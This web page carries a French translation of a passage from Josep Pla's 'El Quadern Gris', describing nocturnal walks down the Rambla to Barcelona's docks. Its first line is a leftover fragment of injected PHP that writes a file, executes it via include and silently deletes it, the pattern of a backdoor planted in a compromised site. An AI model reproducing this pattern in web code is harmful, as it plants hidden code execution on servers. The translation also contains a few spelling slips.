");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Je descendais la Rambla Catalunya - Josep Pla
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El Quadern Gris

Josep Pla
Je descendais la Rambla Catalunya

Je descendais la Rambla Catalunya, mais après deux ou trois rues transversales, je me posais toujours la même question:

–Bon. Et maintenant que vas-tu faire? Où vas-tu aller?

Je sortais avec très peu d’argent en poche- c’est-à-dire avec l’argent dont je disposais habituellement: presque rien. La menue monnaie que je portais sur moi ne m’aurait même pas permis de prendre un misérable verre de cognac. Je n’ai jamais osé subtiliser ne serait-ce qu’une peseta dans le porte-monnaie de ma mère. Cela aurait été relativement facile mais je n’ai jamais osé. Cela m’a amené à refléchir à la question morale. Élevé dans le catholicisme, j’ai commencé ces réflexions très tard. De toute façon, j’ai eu de la chance. Il y en a qui ne commencent jamais.

Mais malgré tout- même si la question restait sans réponse et si le manque d’argent me fermait toutes les possibilités- une force étrange me poussait à aller toujours plus bas.

Je ne faisais que passer sur la Rambla. Elle était pleine de vie, de lumière, de mouvement. Mais je m’y arrêtais rarement. Il y avait trop de gens. À cette heure-là, les femmes avaient du travail. L’insolence des femmes suscitait en moi une grande fascination- et una réflexion au goût amer. Combien des clichés et de phrases toutes faites se sont écroulés pour moi sur la Rambla! Parafois, en arrivant rue Nou, je m’enfonçais dans les petites rues de la partie basse du cinquième district. Mais je ne pouvais pas y rester longtemps. Il montait des rue une si répugnante odeur d’urine que je finissais par marcher le mouchoir devant la bouche. Je m’asphyxiais. Désagréable frisson que me produisait la simple possibilité de poser ma semelle sur quelque liquide équivoque. Non. Ce n’était pas là mon quartier. Je sortais aux Drassanes et je me dirigeais ver les quais- parfois vers les quais de charbon, d’autres fois vers la Barceloneta: ça m’était égal. Après avoir marché un instant le long de l’eau, le calme qui régnait me saisissait. Il y avait un silence qui semblait vide- le silence que semble réfléchir l’agitation dans les instants de repos, qui n’est pas celui des choses mortes mais celui de la vie arrêtée. Je faisais le tour des espaces d’eau enfermés dans la pierre, vaguement éclairés par de hauts arcs voltaïques et dont la surface dense, huiluse et colloïdale, palpitait du reflet des feux de position. Dans un tel repos, on entendait le clapotement de l’eau dense, le long gémissement des amarres des bateaux, le passage rythmé des grosses chaussures d’un homme d’équipage solitaire et parfois la crispation frissonnante des charbons d’un arc voltaïque. Je rencontrais quelque rare pêcheur à la ligne, assis sur une pierre, résigné, un petit cabas à ses côtes. Les entassements de marchandises- caisses, sacs- étaient surveillés par des gardiens qui avaient l’habitude de faire un peu de feu devant leurs guérites de toile tendue. Entre les marchandises, sur les murs des docks, il était toujours possible de découvrir quelque forme fugitive sur le fil des ombres grises et vagues. Mes parcours étaient longs; j’avais la tète et les corps si légers que n’importe quoi excitait ma curiosité.

Traducido por Pascale Bardoulaud
Josep Pla, Je descendais la Rambla Catalunya. un journal. Nîmes: Jacqueline Chambon, Métro, 1992, Pàgines 440-441.
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